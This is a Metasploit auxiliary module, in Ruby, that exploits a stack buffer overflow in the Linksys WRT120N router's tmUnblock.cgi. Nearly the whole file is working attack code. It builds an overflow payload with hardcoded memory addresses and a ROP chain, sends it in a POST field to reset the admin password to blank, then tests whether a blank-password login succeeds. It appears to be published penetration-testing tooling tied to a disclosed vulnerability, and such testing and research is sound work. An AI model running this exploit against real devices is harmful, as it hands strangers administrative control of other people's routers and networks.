##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Linksys WRT120N tmUnblock Stack Buffer Overflow',
      'Description'     => %q{
        This module exploits a stack-based buffer overflow vulnerability in the WRT120N Linksys router
        to reset the password of the management interface temporarily to an empty value.
        This module has been tested successfully on a WRT120N device with firmware version
        1.0.07.
      },
      'Author'          =>
        [
          'Craig Heffner',  # vulnerability discovery and original exploit
          'Michael Messner <devnull[at]s3cur1ty.de>'  # metasploit module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'EDB', '31758' ],
          [ 'OSVDB', '103521' ],
          [ 'URL', 'http://www.devttys0.com/2014/02/wrt120n-fprintf-stack-overflow/' ] # a huge amount of details about this vulnerability and the original exploit
        ],
      'DisclosureDate' => 'Feb 19 2014'))
  end

  def check_login(user)
    print_status("#{peer} - Trying to login with #{user} and empty password")
    res = send_request_cgi({
      'uri'     => '/',
      'method'  => 'GET',
      'authorization' => basic_auth(user,"")
    })
    if res.nil? || res.code == 404
      print_status("#{peer} - No login possible with #{user} and empty password")
      return false
    elsif [200, 301, 302].include?(res.code)
      print_good("#{peer} - Successful login #{user} and empty password")
      return true
    else
      print_status("#{peer} - No login possible with #{user} and empty password")
      return false
    end
  end

  def run
    print_status("#{peer} - Resetting password for the admin user ...")

    postdata = Rex::Text.rand_text_alpha(246)             # Filler
    postdata << [0x81544AF0].pack("N")                    # $s0, address of admin password in memory
    postdata << [0x8031f634].pack("N")                    # $ra
    postdata << Rex::Text.rand_text_alpha(40)             # Stack filler
    postdata << Rex::Text.rand_text_alpha(4)              # Stack filler
    postdata << [0x803471b8].pack("N")                    # ROP 1 $ra (address of ROP 2)
    postdata << Rex::Text.rand_text_alpha(8)              # Stack filler

    (0..3).each do |i|
      postdata << Rex::Text.rand_text_alpha(4)            # ROP 2 $s0, don't care
      postdata << Rex::Text.rand_text_alpha(4)            # ROP 2 $s1, don't care
      postdata << [0x803471b8].pack("N")                  # ROP 2 $ra (address of itself)
      postdata << Rex::Text.rand_text_alpha(4-(3*(i/3)))  # Stack filler
    end

    begin
      res = send_request_cgi(
        {
          'uri'    => normalize_uri("cgi-bin", "tmUnblock.cgi"),
          'method' => 'POST',
          'vars_post' => {
            'period' => '0',
            'TM_Block_MAC' => '00:01:02:03:04:05',
            'TM_Block_URL' => postdata
          }
        })
      if res and res.code == 500
        if check_login("admin")
          print_good("#{peer} - Expected answer and the login was successful. Try to login with the user admin and a blank password")
        else
          print_status("#{peer} - Expected answer, but unknown exploit status. Try to login with the user admin and a blank password")
        end
      else
        print_error("#{peer} - Unexpected answer. Exploit attempt has failed")
      end
    rescue ::Rex::ConnectionError
      print_error("#{peer} - Failed to connect to the web server")
      return
    end
  end
end
